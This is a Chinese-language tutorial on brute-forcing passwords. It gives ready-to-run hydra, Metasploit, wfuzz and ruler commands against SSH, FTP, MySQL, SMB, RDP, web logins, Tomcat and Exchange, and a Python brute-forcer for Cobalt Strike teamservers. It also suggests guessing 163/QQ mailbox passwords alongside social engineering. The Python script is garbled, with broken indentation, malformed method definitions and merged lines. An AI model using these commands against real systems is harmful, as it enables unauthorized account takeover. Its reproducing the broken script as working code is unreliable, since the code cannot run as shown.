Web安全——穷举爆破下篇(仅供学习)

Web安全

  • 一、常见的端口服务穷举
    • [1、hydra 密码穷举工具的使用](#1、hydra 密码穷举工具的使用)
    • [2、使用 hydra 穷举 ssh 服务](#2、使用 hydra 穷举 ssh 服务)
    • [3、使用 hydra 穷举 ftp 服务](#3、使用 hydra 穷举 ftp 服务)
    • [4、使用 hydra 穷举 mysql 服务](#4、使用 hydra 穷举 mysql 服务)
    • [5、使用 hydra 穷举 smb 服务](#5、使用 hydra 穷举 smb 服务)
    • [6、使用 hydra 穷举 http 服务](#6、使用 hydra 穷举 http 服务)
    • [7、使用 hydra 穷举 pop3 服务](#7、使用 hydra 穷举 pop3 服务)
    • [8、使用 hydra 穷举 rdp 服务](#8、使用 hydra 穷举 rdp 服务)
    • [9、使用 hydra 穷举 http-proxy 服务](#9、使用 hydra 穷举 http-proxy 服务)
    • [10、使用 hydra 穷举 imap 服务](#10、使用 hydra 穷举 imap 服务)
    • [11、使用 hydra 穷举 telnet 服务](#11、使用 hydra 穷举 telnet 服务)
  • [二、xhydra 穷举工具破解各种服务](#二、xhydra 穷举工具破解各种服务)
  • [三、metasploit 穷举模块的使用](#三、metasploit 穷举模块的使用)
  • [四、御剑 RDP 爆破工具的使用](#四、御剑 RDP 爆破工具的使用)
  • [五、wfuzz 多线程穷举密码](#五、wfuzz 多线程穷举密码)
  • 六、邮箱密码的穷举
    • [1、企业独立搭建的邮服 用 MailCracker 进行破解](#1、企业独立搭建的邮服 用 MailCracker 进行破解)
    • [2、针对 163 qq 这些邮箱用 mail 脚本进行穷举](#2、针对 163 qq 这些邮箱用 mail 脚本进行穷举)
  • [七、CobaltStrike TeamServer 口令暴力破解](#七、CobaltStrike TeamServer 口令暴力破解)
  • [八、对 apache-tomcat 服务进行穷举](#八、对 apache-tomcat 服务进行穷举)
  • 九、超级弱口令穷举使用
  • [十、exchange 邮服穷举](#十、exchange 邮服穷举)

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]

http[s]-{head|get|post} http[s]-{get|post}-form http-proxy

http-proxy-urlenum icq imap[s] irc ldap2[s]

ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp

oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2

rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]

smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc

xmpp

使用例子

bash 复制代码
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

bash 复制代码
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R

继续从上一次进度接着破解
-S

大写,采用 SSL 链接
-s <PORT>

小写,可通过这个参数指定非默认端口
-l <LOGIN>

指定破解的用户,对特定用户破解
-L <FILE>

指定用户名字典
-p <PASS>

小写,指定密码破解,少用,一般是采用密码字典
-P <FILE>

大写,指定密码字典
-e <ns>

可选选项,n:空密码试探,s:使用指定用户和密码试探
-C <FILE>

使用冒号分割格式,例如"登录名:密码"来代替-L/-P 参数
-M <FILE>

指定目标列表文件一行一条
-o <FILE>

指定结果输出文件
-f

在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t <TASKS>

同时运行的线程数,默认为 16
-w <TIME>

设置最大超时的时间,单位秒,默认是 30s
-v / -V

显示详细过程
server

目标 ip
service

指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}

http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3

mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs

snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak

sip vmauthd firebird ncp afp 等等

OPT

可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件

-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104

192.168.1.104 ssh

-l 指定用户

bash 复制代码
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

3、使用 hydra 穷举 ftp 服务

bash 复制代码
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

4、使用 hydra 穷举 mysql 服务

bash 复制代码
hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

5、使用 hydra 穷举 smb 服务

bash 复制代码
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f


6、使用 hydra 穷举 http 服务

bash 复制代码
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

7、使用 hydra 穷举 pop3 服务

bash 复制代码
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

bash 复制代码
hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

bash 复制代码
hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

bash 复制代码
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

bash 复制代码
hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。

使用 hydra 破解 rdp 服务




三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

bash 复制代码
auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login



模块的用法

首先启动在终端下启动 msfconsole use 使用 ssh_login 模块

use auxiliary/scanner/ssh/ssh_login

show options 查看模块的参数

bash 复制代码
RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

bash 复制代码
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击

四、御剑 RDP 爆破工具的使用

五、wfuzz 多线程穷举密码

bash 复制代码
Usage: wfuzz [options] -z payload,params <url> 
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"


六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995

收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。

七、CobaltStrike TeamServer 口令暴力破解

Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。

Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com

这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解

然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver

sudo ./teamserver 192.168.0.102 123456

启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。

如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

python 复制代码
#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versi

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
	sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) 
	parser = argparse.ArgumentParser()
	parser.add_argument("host",
		help="Teamserver address") 	
	parser.add_argument("wordlist", nargs="?",
		help="Newline-delimited word list file") 
	parser.add_argument("-p", dest="port", default=50050, type=int,
		help="Teamserver port") 
	parser.add_argument("-t",dest="threads", default=25, type=int,
		help="Concurrency level") 
		
args = parser.parse_args()

#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socket

class NotConnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class DisconnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class Connector:
	def init (self): 
	self.sock = None 
	self.ssl_sock = None
	self.ctx = ssl.SSLContext() 		
	self.ctx.verify_mode = ssl.CERT_NONE 
	pass

	def is_connected(self):
		return self.sock and self.ssl_sock

	def open(self, hostname, port):
		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.sock.settimeout(10)
		self.ssl_sock = self.ctx.wrap_socket(self.sock)
 
		if hostname == socket.gethostname():
			ipaddress = socket.gethostbyname_ex(hostname)[2][0] 
			self.ssl_sock.connect((ipaddress, port))
		else:
			self.ssl_sock.connect((hostname, port))


	def close(self):
		if self.sock:
			self.sock.close() 
		self.sock = None 	
		self.ssl_sock = None

	def send(self, buffer):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		self.ssl_sock.sendall(buffer)

	def receive(self):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		received_size = 0 
		data_buffer = b""

		while received_size < 4:
			data_in = self.ssl_sock.recv() data_buffer = 			
			data_buffer + data_in 		
			received_size += len(data_in)

		return data_buffer

	def passwordcheck(password): 
		if len(password) > 0:
			result = None
 			conn = Connector() 			
 			conn.open(args.host, args.port)
			payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(
				bytes(password, "ascii").ljust(256, b"A")) 		
			conn.send(payload)
			if conn.is_connected(): result = conn.receive() 
			if conn.is_connected(): conn.close()
			if result == bytearray(b"\x00\x00\xca\xfe"): 
				return password
			else:
				return False
 		else
 			print("Ignored blank password") 
 	passwords = []
	if args.wordlist:
		print("Wordlist: {}".format(args.wordlist)) 
		passwords = open(args.wordlist).read().split("\n")	
	else:
 		print("Wordlist: {}".format("stdin")) 
 		for line in sys.stdin:
			passwords.append(line.rstrip())
	if len(passwords) > 0:
		print("Word Count: {}".format(len(passwords))) 		
		print("Threads: {}".format(args.threads))

		start = time.time()
		# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
 
		attempts = 0
		failures = 0
		with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:
			future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
			for future in concurrent.futures.as_completed(future_to_check): 
				password = future_to_check[future]
				try:
					data = future.result() 
					attempts = attempts + 1 
					if data:
						print("Found Password: {}".format(password)) 
				except Exception as exc:
					failures = failures + 1
					print('%r generated an exception: %s' % (password, exc))

	print("Attempts: {}".format(attempts)) 
	print("Failures: {}".format(failures)) 
	finish = time.time()
	print("Seconds: {:.1f}".format(finish - start))
	print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
	print("Password(s) required")
bash 复制代码
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20


https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典

set RPORT 8081 设置端口

set RHOSTS 192.168.52.6

exploit 攻击

九、超级弱口令穷举使用

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

相关推荐
我叫啥都行8 分钟前
计算机基础知识复习9.7
运维·服务器·网络·笔记·后端
Monodye24 分钟前
【Java】网络编程:TCP_IP协议详解(IP协议数据报文及如何解决IPv4不够的状况)
java·网络·数据结构·算法·系统架构
沛沛老爹37 分钟前
服务监控插件全览:提升微服务可观测性的利器
微服务·云原生·架构·datadog·influx·graphite
汀、人工智能1 小时前
报错error: RPC failed,curl 16 Error in the HTTP2 framing layer解决方法
网络·git·网络协议·rpc
qq 1778036221 小时前
智能新时代,游戏盾守护顺畅体验
运维·服务器·网络·游戏·云计算·ddos·ip
huaqianzkh2 小时前
了解华为云容器引擎(Cloud Container Engine)
云原生·架构·华为云
Alone80462 小时前
K8s中HPA自动扩缩容及hml
云原生·容器·kubernetes
安全方案2 小时前
政务安全运营核心能力模块
安全
神秘的土鸡2 小时前
Linux中使用Docker容器构建Tomcat容器完整教程
linux·运维·服务器·docker·容器·tomcat
无敌的俊哥2 小时前
dedecms——四种webshell姿势
web安全